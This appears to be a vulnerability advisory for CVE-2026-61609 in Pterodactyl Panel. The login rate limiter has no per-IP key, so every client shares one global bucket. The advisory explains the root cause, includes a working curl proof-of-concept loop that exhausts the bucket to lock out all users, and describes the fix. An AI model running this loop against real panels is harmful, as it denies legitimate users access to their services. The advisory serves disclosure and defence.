CVE-2026-61609: Pterodactyl Panel Global Authentication Rate-Limit DoS
A missing key on Pterodactyl's login rate limiter creates one shared counter for all users, so an attacker sending 10 requests per minute from a single IP locks every user out of the panel.

The problem
The authentication rate limiter in app/Providers/RouteServiceProvider::configureRateLimiting() covers both POST /auth/login and POST /auth/login/checkpoint. The forgot-password branch correctly calls ->by($request->ip()), but the fall-through return for login and checkpoint does not.
Laravel derives the cache key for a named limiter as md5($limiterName . $limit->key). With no ->by() call the key is always md5('authentication'), a constant shared by every client. Any unauthenticated attacker can exhaust the 10-request-per-minute global bucket and force HTTP 429 for every user on every IP for as long as the burst is repeated.
Proof of concept
A working proof-of-concept for CVE-2026-61609 in pterodactyl/panel, with the exact payload below.
# Step 1: exhaust the shared bucket via the checkpoint endpoint (no reCAPTCHA)
for i in $(seq 1 11); do
curl -s -o /dev/null -w "%{http_code}\n" \
-X POST https://panel.example.com/auth/login/checkpoint \
-H 'Content-Type: application/json' \
-H 'X-Requested-With: XMLHttpRequest' \
-d '{"confirmation_token":"x","authentication_code":"000000"}'
done
# Requests 1-10 return 4xx (auth failure); request 11 returns 429.
# Step 2: from a DIFFERENT IP with valid credentials, login is now blocked
curl -s -o /dev/null -w "%{http_code}\n" \
-X POST https://panel.example.com/auth/login \
-H 'Content-Type: application/json' \
-H 'X-Requested-With: XMLHttpRequest' \
-d '{"user":"valid@example.com","password":"correct-horse"}'
# Returns 429 despite correct credentials and a different source IP.
# Repeating step 1 once per minute sustains the lockout indefinitely.The root cause is CWE-770: Limit::perMinute(10) with no ->by() argument resolves to an empty key, so Laravel collapses all callers into one shared bucket keyed only by the limiter name. The checkpoint endpoint has no reCAPTCHA, making it the cheapest path to fill the bucket.
The fix in 1.13.0 adds ->by($request->ip()) to the fall-through return, giving each source IP its own counter and eliminating the shared global bucket.
The fix
Upgrade to pterodactyl/panel 1.13.0 or later. The patch changes the fall-through limiter definition to return Limit::perMinute(10)->by($request->ip()); in RouteServiceProvider::configureRateLimiting(). For stronger brute-force protection, the advisory also recommends combining the IP with the submitted user identifier: `->by($request->ip() .
'|' . (string) $request->input('user'))`.
Reported by anthonyphysgun.
Related research
- high · 8.1CVE-2026-54593CVE-2026-54593: Pterodactyl Panel Improper JWT Scope Allows Unauthorized File Upload
- critical · 9.6CVE-2026-54588CVE-2026-54588: Poweradmin Host Header Injection in OIDC / SAML / Logout Redirect
- high · 8.6CVE-2026-45293CVE-2026-45293: WordPress Coding Standards (WPCS) Eval Injection via EnqueuedResourceParameters Sniff
- critical · 10Pheditor: Authentication Bypass in Forced Password-Change Flow